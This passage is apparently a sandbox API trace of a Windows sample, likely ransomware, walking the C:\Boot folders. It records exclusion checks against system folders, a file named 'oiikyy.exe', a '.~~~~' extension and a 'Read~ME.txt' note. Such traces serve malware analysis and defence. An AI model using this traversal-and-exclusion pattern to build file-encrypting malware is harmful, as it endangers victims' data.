	[0062.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x366550
	[0062.077] GetCurrentThreadId () returned 0x618
	[0062.077] GetCurrentThreadId () returned 0x618
	[0062.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0062.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x363d38
	[0062.078] RtlWakeConditionVariable () returned 0x1
	[0062.080] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0062.080] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0062.080] FindClose (in: hFindFile=0x37a808 | out: hFindFile=0x37a808) returned 1
	[0062.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0062.080] GetCurrentThreadId () returned 0x618
	[0062.080] GetCurrentThreadId () returned 0x618
	[0062.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0062.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356fc0
	[0062.080] RtlWakeConditionVariable () returned 0x1
	[0062.147] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0062.147] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38b738 | out: hHeap=0x300000) returned 1
	[0062.147] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0062.147] lstrcmpiW (lpString1="Fonts", lpString2="Windows") returned -1
	[0062.147] lstrcmpW (lpString1="Fonts", lpString2=".") returned 1
	[0062.147] lstrcmpW (lpString1="Fonts", lpString2="..") returned 1
	[0062.147] lstrcmpW (lpString1="Fonts", lpString2="AppData") returned 1
	[0062.147] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts", lpSrch="AppData") returned 0x0
	[0062.147] lstrlenW (lpString="C:\\Windows") returned 10
	[0062.147] lstrcmpiW (lpString1="C:\\Boot\\Fonts", lpString2="C:\\Windows") returned -1
	[0062.147] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0062.147] lstrcmpiW (lpString1="C:\\Boot\\Fonts", lpString2="C:\\System Volume Information") returned -1
	[0062.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0062.148] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*", lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a7c8
	[0062.212] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0062.212] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0062.212] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0062.212] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0062.212] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0062.212] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.213] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0062.214] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0062.214] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0062.214] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0062.214] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0062.214] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0062.214] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1
	[0062.215] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="Windows") returned -1
	[0062.215] lstrcmpW (lpString1="chs_boot.ttf", lpString2="oiikyy.exe") returned -1
	[0062.215] StrStrW (lpFirst="chs_boot.ttf", lpSrch=".~~~~") returned 0x0
	[0062.215] lstrcmpW (lpString1="chs_boot.ttf", lpString2="Read~ME.txt") returned -1
	[0062.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357008
	[0062.216] GetCurrentThreadId () returned 0x618
	[0062.216] GetCurrentThreadId () returned 0x618
	[0062.216] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0062.216] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0062.216] RtlWakeConditionVariable () returned 0x1
	[0062.223] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357008 | out: hHeap=0x300000) returned 1
	[0062.223] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1
	[0062.223] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="Windows") returned -1
	[0062.226] lstrcmpW (lpString1="cht_boot.ttf", lpString2="oiikyy.exe") returned -1
	[0062.226] StrStrW (lpFirst="cht_boot.ttf", lpSrch=".~~~~") returned 0x0
	[0062.226] lstrcmpW (lpString1="cht_boot.ttf", lpString2="Read~ME.txt") returned -1
	[0062.226] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357008
	[0062.226] GetCurrentThreadId () returned 0x618
	[0062.227] GetCurrentThreadId () returned 0x618
	[0062.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0062.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0062.227] RtlWakeConditionVariable () returned 0x1
	[0062.233] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357008 | out: hHeap=0x300000) returned 1
	[0062.233] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1
	[0062.233] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="Windows") returned -1
	[0062.233] lstrcmpW (lpString1="jpn_boot.ttf", lpString2="oiikyy.exe") returned -1
	[0062.233] StrStrW (lpFirst="jpn_boot.ttf", lpSrch=".~~~~") returned 0x0
	[0062.237] lstrcmpW (lpString1="jpn_boot.ttf", lpString2="Read~ME.txt") returned -1
	[0062.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357008
	[0062.237] GetCurrentThreadId () returned 0x618
	[0062.237] GetCurrentThreadId () returned 0x618
	[0062.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0062.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0062.237] RtlWakeConditionVariable () returned 0x1
	[0062.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357008 | out: hHeap=0x300000) returned 1
	[0062.239] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1
	[0062.239] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="Windows") returned -1
	[0062.239] lstrcmpW (lpString1="kor_boot.ttf", lpString2="oiikyy.exe") returned -1
	[0062.239] StrStrW (lpFirst="kor_boot.ttf", lpSrch=".~~~~") returned 0x0
	[0062.239] lstrcmpW (lpString1="kor_boot.ttf", lpString2="Read~ME.txt") returned -1
	[0062.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357008
	[0062.239] GetCurrentThreadId () returned 0x618
	[0062.239] GetCurrentThreadId () returned 0x618
	[0062.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0062.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0062.239] RtlWakeConditionVariable () returned 0x1
	[0062.241] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357008 | out: hHeap=0x300000) returned 1
	[0062.241] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1
	[0062.241] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="Windows") returned -1
	[0062.241] lstrcmpW (lpString1="wgl4_boot.ttf", lpString2="oiikyy.exe") returned 1
	[0062.241] StrStrW (lpFirst="wgl4_boot.ttf", lpSrch=".~~~~") returned 0x0
	[0062.241] lstrcmpW (lpString1="wgl4_boot.ttf", lpString2="Read~ME.txt") returned 1
	[0062.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357008
	[0062.242] GetCurrentThreadId () returned 0x618
	[0062.242] GetCurrentThreadId () returned 0x618
	[0062.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0062.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0062.242] RtlWakeConditionVariable () returned 0x1
	[0062.244] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357008 | out: hHeap=0x300000) returned 1
	[0062.244] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0
	[0062.244] FindClose (in: hFindFile=0x37a7c8 | out: hFindFile=0x37a7c8) returned 1
	[0062.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357008
	[0062.244] GetCurrentThreadId () returned 0x618
	[0062.244] GetCurrentThreadId () returned 0x618
	[0062.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0062.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0062.244] RtlWakeConditionVariable () returned 0x1
	[0062.245] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357008 | out: hHeap=0x300000) returned 1
	[0062.245] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38b738 | out: hHeap=0x300000) returned 1
	[0062.250] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0062.250] lstrcmpiW (lpString1="fr-FR", lpString2="Windows") returned -1
	[0062.250] lstrcmpW (lpString1="fr-FR", lpString2=".") returned 1
	[0062.250] lstrcmpW (lpString1="fr-FR", lpString2="..") returned 1
	[0062.251] lstrcmpW (lpString1="fr-FR", lpString2="AppData") returned 1
	[0062.251] StrStrW (lpFirst="\\\\?\\C:\\Boot\\fr-FR", lpSrch="AppData") returned 0x0
	[0062.251] lstrlenW (lpString="C:\\Windows") returned 10
	[0062.251] lstrcmpiW (lpString1="C:\\Boot\\fr-FR", lpString2="C:\\Windows") returned -1
	[0062.251] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0062.251] lstrcmpiW (lpString1="C:\\Boot\\fr-FR", lpString2="C:\\System Volume Information") returned -1
	[0062.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0062.251] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-FR\\*", lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a7c8
	[0062.257] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0062.257] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0062.257] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0062.257] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0062.257] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0062.257] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.257] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0062.257] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0062.257] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0062.257] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0062.257] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0062.257] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0062.257] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0062.257] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1
	[0062.258] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="oiikyy.exe") returned -1
	[0062.258] StrStrW (lpFirst="bootmgr.exe.mui", lpSrch=".~~~~") returned 0x0
	[0062.258] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="Read~ME.txt") returned -1
	[0062.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x39daf8
	[0062.258] GetCurrentThreadId () returned 0x618
	[0062.258] GetCurrentThreadId () returned 0x618
	[0062.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0062.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x366550
	[0062.258] RtlWakeConditionVariable () returned 0x1
	[0062.260] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39daf8 | out: hHeap=0x300000) returned 1
	[0062.260] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0062.260] FindClose (in: hFindFile=0x37a7c8 | out: hFindFile=0x37a7c8) returned 1
	[0062.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0062.261] GetCurrentThreadId () returned 0x618
	[0062.261] GetCurrentThreadId () returned 0x618
	[0062.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0062.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0062.261] RtlWakeConditionVariable () returned 0x1
	[0062.263] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0062.263] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38b738 | out: hHeap=0x300000) returned 1
	[0062.263] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0062.264] lstrcmpiW (lpString1="hu-HU", lpString2="Windows") returned -1
	[0062.264] lstrcmpW (lpString1="hu-HU", lpString2=".") returned 1
	[0062.264] lstrcmpW (lpString1="hu-HU", lpString2="..") returned 1
	[0062.264] lstrcmpW (lpString1="hu-HU", lpString2="AppData") returned 1
	[0062.264] StrStrW (lpFirst="\\\\?\\C:\\Boot\\hu-HU", lpSrch="AppData") returned 0x0
	[0062.264] lstrlenW (lpString="C:\\Windows") returned 10
	[0062.264] lstrcmpiW (lpString1="C:\\Boot\\hu-HU", lpString2="C:\\Windows") returned -1
	[0062.264] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0062.264] lstrcmpiW (lpString1="C:\\Boot\\hu-HU", lpString2="C:\\System Volume Information") returned -1
	[0062.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0062.264] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hu-HU\\*", lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a7c8
	[0062.264] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0062.264] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0062.264] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0062.264] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0062.265] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0062.265] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.265] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0062.265] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0062.265] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0062.265] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0062.265] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0062.265] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0062.265] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0062.265] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1
	[0062.265] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="oiikyy.exe") returned -1
	[0062.265] StrStrW (lpFirst="bootmgr.exe.mui", lpSrch=".~~~~") returned 0x0
	[0062.265] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="Read~ME.txt") returned -1
	[0062.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x39daf8
	[0062.265] GetCurrentThreadId () returned 0x618
	[0062.265] GetCurrentThreadId () returned 0x618
	[0062.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0062.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x366550
	[0062.265] RtlWakeConditionVariable () returned 0x1
	[0062.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39daf8 | out: hHeap=0x300000) returned 1
	[0062.267] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0062.267] FindClose (in: hFindFile=0x37a7c8 | out: hFindFile=0x37a7c8) returned 1
	[0062.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0062.267] GetCurrentThreadId () returned 0x618
	[0062.267] GetCurrentThreadId () returned 0x618
	[0062.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0062.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0062.267] RtlWakeConditionVariable () returned 0x1
	[0062.270] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0062.270] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38b738 | out: hHeap=0x300000) returned 1
	[0062.270] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1
	[0062.270] lstrcmpiW (lpString1="it-IT", lpString2="Windows") returned -1
	[0062.270] lstrcmpW (lpString1="it-IT", lpString2=".") returned 1
	[0062.270] lstrcmpW (lpString1="it-IT", lpString2="..") returned 1
	[0062.271] lstrcmpW (lpString1="it-IT", lpString2="AppData") returned 1
	[0062.271] StrStrW (lpFirst="\\\\?\\C:\\Boot\\it-IT", lpSrch="AppData") returned 0x0
